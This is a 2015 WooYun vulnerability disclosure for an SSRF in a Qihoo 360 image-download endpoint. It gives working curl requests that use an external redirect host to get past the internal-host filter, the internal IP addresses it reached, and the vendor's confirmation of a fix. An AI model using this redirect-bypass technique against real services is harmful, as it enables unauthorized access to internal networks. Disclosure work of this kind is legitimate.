当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0135257

漏洞标题：神器而已之奇虎360某SSRF绕过限制代理访问内网

相关厂商：奇虎360

漏洞作者： 举起手来

提交时间：2015-08-19 11:52

修复时间：2015-10-03 12:04

公开时间：2015-10-03 12:04

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-19： 细节已通知厂商并且等待厂商处理中
2015-08-19： 厂商已经确认，细节仅向厂商公开
2015-08-29： 细节向核心白帽子及相关领域专家公开
2015-09-08： 细节向普通白帽子公开
2015-09-18： 细节向实习白帽子公开
2015-10-03： 细节向公众公开

简要描述：

神器面前。。

详细说明：

http://luyou.360.cn/activity/downLoadImg.php?url=https://ss0.bdstatic.com/5aV1bjqh_Q23odCf/static/superplus/img/logo_white.png&filetype=jpg&filename=360ProductSpecificationp-p1
这个逻辑是原创获取一个图片内容，然后再写入到另外一个文件。
自然会想到是否可以访问内网，尝试以后发现做了两个限制：
1.url必须是http或者https
2.后缀必须是图片
好，那么我们这么来绕过试试：
http://luyou.360.cn/activity/downLoadImg.php?url=http://navsite.adsys.qihoo.net/?logo_white.png&filetype=jpg&filename=360ProductSpecificationp-p1
依然不行，所以这些猜测本身是做了host的判断的，绕过host是对应内网则不请求
百思之后，决定试试用跳转来试试，结果成功了
http://luyou.360.cn/activity/downLoadImg.php?url=http://x1x2x3.duapp.com/l.php?url=http://10.121.95.65/?%2378348ee.jpg&filetype=jpg&filename=360ProductSpecificationp-p1

➜  tmp  curl "http://luyou.360.cn/activity/downLoadImg.php?url=http://x1x2x3.duapp.com/l.php?url=http://10.121.95.65/?%2378348ee.jpg&filetype=jpg&filename=360ProductSpecificationp-p1"
<html>
<head>
<title>Welcome to nginx!</title>
</head>
<body bgcolor="white" text="black">
<center><h1>Welcome to nginx!</h1></center>
</body>
</html>


漏洞证明：

简单探测了一下：
发现了一些ip的80是可用的：
10.121.95.65
10.121.95.168
10.121.95.160
10.121.95.222

➜  tmp  curl "http://luyou.360.cn/activity/downLoadImg.php?url=http://x1x2x3.duapp.com/l.php?url=http://navsite.adsys.qihoo.net/?%2378348ee.jpg&filetype=jpg&filename=360ProductSpecificationp-p1"
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>
<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>
<p><em>Thank you for using nginx.</em></p>
</body>
</html>

修复方案：

~

版权声明：转载请注明来源 举起手来@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-08-19 12:02

厂商回复：

感谢您的反馈，相关业务已进行修复。后续更多问题可以反馈到360SRC（） 中秋发放福利即将到来～ 亲～

最新状态：

暂无

漏洞评价：

评论

  1. 2015-08-19 11:53 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1064 漏洞数:108 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    前排

  2. 2015-08-19 11:57 | prolog ( 普通白帽子 | Rank:567 漏洞数:108 | 低调求发展)

    打脸。。

  3. 2015-08-19 12:04 | _Thorns ( 普通白帽子 | Rank:884 漏洞数:161 | 收wb 1：5 无限量收 [平台担保]))

    表哥威武。

  4. 2015-08-19 12:16 | 举起手来 ( 普通白帽子 | Rank:496 漏洞数:53 | 准备好，举起手来！)

    我是一个有情怀的人，厂商自重！~

  5. 2015-08-19 12:16 | 举起手来 ( 普通白帽子 | Rank:496 漏洞数:53 | 准备好，举起手来！)

    @_Thorns 感谢支持，要签名吗，朋友。

  6. 2015-08-19 12:18 | fuckadmin ( 普通白帽子 | Rank:476 漏洞数:72 | 千里之堤溃于蚁穴)

    我是一个有情怀的人，厂商自重！~

  7. 2015-08-19 13:55 | 苏安泽 ( 实习白帽子 | Rank:73 漏洞数:25 | 敢不敢关注一下，<script>alert('关注成功'...)

    洞主，这申请多少块包邮的啊？

  8. 2015-08-20 00:52 | 抚琴听海 ( 路人 | Rank:10 漏洞数:5 | 交流qq 752247101)

    我一直在关注你 哈哈

  9. 2015-08-20 02:18 | 苏安泽 ( 实习白帽子 | Rank:73 漏洞数:25 | 敢不敢关注一下，<script>alert('关注成功'...)

    洞主，这神器多少块全国包邮的。

  10. 2015-08-22 18:25 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势，学思路。)

    @举起手来 有情怀……